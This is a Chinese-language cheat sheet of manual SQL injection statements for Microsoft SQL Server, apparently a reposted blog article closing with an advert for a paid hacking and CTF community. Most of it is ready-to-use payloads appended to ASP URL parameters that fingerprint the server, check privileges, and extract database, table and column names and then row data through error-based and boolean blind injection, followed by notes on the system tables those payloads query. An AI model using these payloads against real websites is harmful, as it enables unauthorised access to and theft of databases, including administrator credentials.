sql手工注入语句总结

admin

102523
文章

87
评论

2023年10月19日12:29:35评论7 views字数 5582阅读18分36秒阅读模式

很多情况下使用工具对mssql注入并不完善,所以我们就需要手工注入,一下是本人收集的一些mssql的sql语句.

手工MSSQL注入常用SQL语句

and exists (select * from sysobjects) //判断是否是MSSQL

and exists (select * from tableName) //判断某表是否存在tableName为表名

and 1=(select @@VERSION) //MSSQL版本

and 1=(select @@servername) //本地服务名

and 1=(select db_name()) //当前数据库名

and 1=(select user_name()) //判断用户权限，一般dbo就是最高权限

and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员

and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限

and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限

------------------------------------------------------------------------------

SQL Server显错注入

确定数据库类型（注意:数据库名中出现数字时要用[]括号把数据库包含起来才能正常输出语句）：

xxx.asp?id=1 and (select count(*) from sysobjects)=2

xxx.asp?id=1 and exists (select * from sysobjects)

爆库：

xxx.asp?id=1 and 1=(select db_name()) //爆出当前库名

xxx.asp?id=1 and 1=(select name from master.dbo.sysdatabases where dbid=1) //dbid=1、2、3修改数字一个一个爆出数据库名

xxx.asp?id=1 and 1=(select top 1 name from master.dbo.sysdatabases where dbid=1) //dbid=1、2、3修改数字一个一个爆出数据库名

xxx.asp?id=1 and 1=(select top 1 name from master.dbo.sysdatabases where name <> '数据库名') //爆下一个数据库名

暴表：

xxx.asp?id=1 and 1=(select top 1 name from 数据库名.dbo.sysobjects where xtype='U') //爆出第一个表名

xxx.asp?id=1 and 1=(select top 1 name from 数据库名.dbo.sysobjects where xtype='U' and name <> '表名') //爆下一个表名

暴列：

xxx.asp?id=1 and 1=(select top 1 name from syscolumns where id=object_id('表名')) //爆列名

xxx.asp?id=1 and 1=(select top 1 name from syscolumns where id=object_id('表名') and name <> '字段') //爆下一个列名

xxx.asp?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='表名'))

xxx.asp?id=1 and 1=(select top 1 name from syscolumns where id=(select id from 数据库名.dbo.sysobjects where name='表名'))

xxx.asp?id=1 and 1=(select top 1 name from syscolumns where id=(select id from 数据库名.dbo.sysobjects where name='表名') and name <> '列名')

暴数据：

xxx.asp?id=1 and 1=(select top 1 字段 from 表名)

xxx.asp?id=1 and 1=(select top 1 字段 from 表名 where id=1)

xxx.asp?id=1 and 1=(select top 1 字段 from 表名 where username <> 'xxx')

xxx.asp?id=1 and 1=(select top 1 字段 from 数据库名.dbo.表名)

xxx.asp?id=1 and 1=(select top 1 字段 from 数据库名.dbo.表名 where id=1)

xxx.asp?id=1 and 1=(select top 1 字段 from 数据库名.dbo.表名 where admin <> 'admin')

------------------------------------------------------------------------------

SQL Server盲注

xxx.asp?id=1 and exists (select * from 表名) //猜表名

xxx.asp?id=1 and exists (select 列名 from 表名) //猜列名

xxx.asp?id=1 and (select top 1 len(列名) from 表名 where id=1)=长度 //猜字段长度

xxx.asp?id=1 and exists (select top 1 * from admin where len(列名)=长度 and id=1)

xxx.asp?id=1 and (select top 1 count(*) from admin where len(列名)=长度 and id=1)>0

xxx.asp?id=1 and (select top 1 substring(列名,1,1) from 表名 where id=1)='字符' //猜字符

xxx.asp?id=1 and (select top 1 unicode(substring(列名,1,1)) from 表名 where id=1)=asc值 //猜字段下数据asc值

xxx.asp?id=1 and exists (select top 1 * from admin where unicode(substring(列名,1,1))=asc值 and id=1)

xxx.asp?id=1 and (select top 1 count(*) from admin where unicode(substring(列名,1,1))=asc值 and id=1)>0 //布尔型猜字段下数据asc值

------------------------------------------------------------------------------

mssql中三个系统表说明

一、sysdatabases系统表：

Microsoft SQL Server 上的每个数据库在表中占一行。

最初安装 SQL Server 时，sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。保存了所有的库名,以及库的ID和一些相关信息。

字段名称和相关说明:name //表示库的名字;dbid //表示库的ID，dbid从1到5是系统的。分别是：master、model、msdb、mssqlweb、tempdb 这五个库。用select * from master.dbo.sysdatabases 就可以查询出所有的库名。

二、Sysobjects：

SQL-SERVER的每个数据库内都有此系统表，它存放该数据库内创建的所有对象，如约束、默认值、日志、规则、存储过程等，每个对象在表中占一行。

以下是此系统表的字段名称和相关说明。

Name，id，xtype，uid，status：分别是对象名，对象ID，对象类型，所有者对象的用户ID,对象状态。

对象类型(xtype)。可以是下列对象类型中的一种：

C = CHECK 约束

D = 默认值或 DEFAULT 约束

F = FOREIGN KEY 约束

L = 日志

FN = 标量函数

IF = 内嵌表函数

P = 存储过程

PK = PRIMARY KEY 约束（类型是 K）

RF = 复制筛选存储过程

S = 系统表

TF = 表函数

TR = 触发器

U = 用户表

UQ = UNIQUE 约束（类型是 K）

V = 视图

X = 扩展存储过程

当xtype='U' and status>0代表是用户建立的表，对象名就是表名，对象ID就是表的ID值。用: select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0 就可以列出库ChouYFD中所有的用户建立的表名。

三、syscolumns ：

每个表和视图中的每列在表中占一行，存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有：name ，id， colid ：分别是字段名称，表ID号，字段ID号，其中的 ID 是刚上我们用sysobjects得到的表的ID号。

用: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD这个库中，表的ID是123456789中的所有字段列表。

资料来源于网络，如有侵权，后台联系删除。

网络安全攻防&CTF部落

高质量网络安全攻防与CTF社区，每日分享行业最新资讯，交流解答各类技术问题。星球中可以获取各类攻防、CTF信息、工具、技巧、书籍、各种资源，发布政府机关、企业、厂商网络安全招聘信息，及内类内推资格。所有发布的内容均精心挑选、成体系化，让你远离无用信息及零碎的知识点。目前星球内有800多个主题内容，700个攻防类文件下载，各类电子书、教程。

sql手工注入语句总结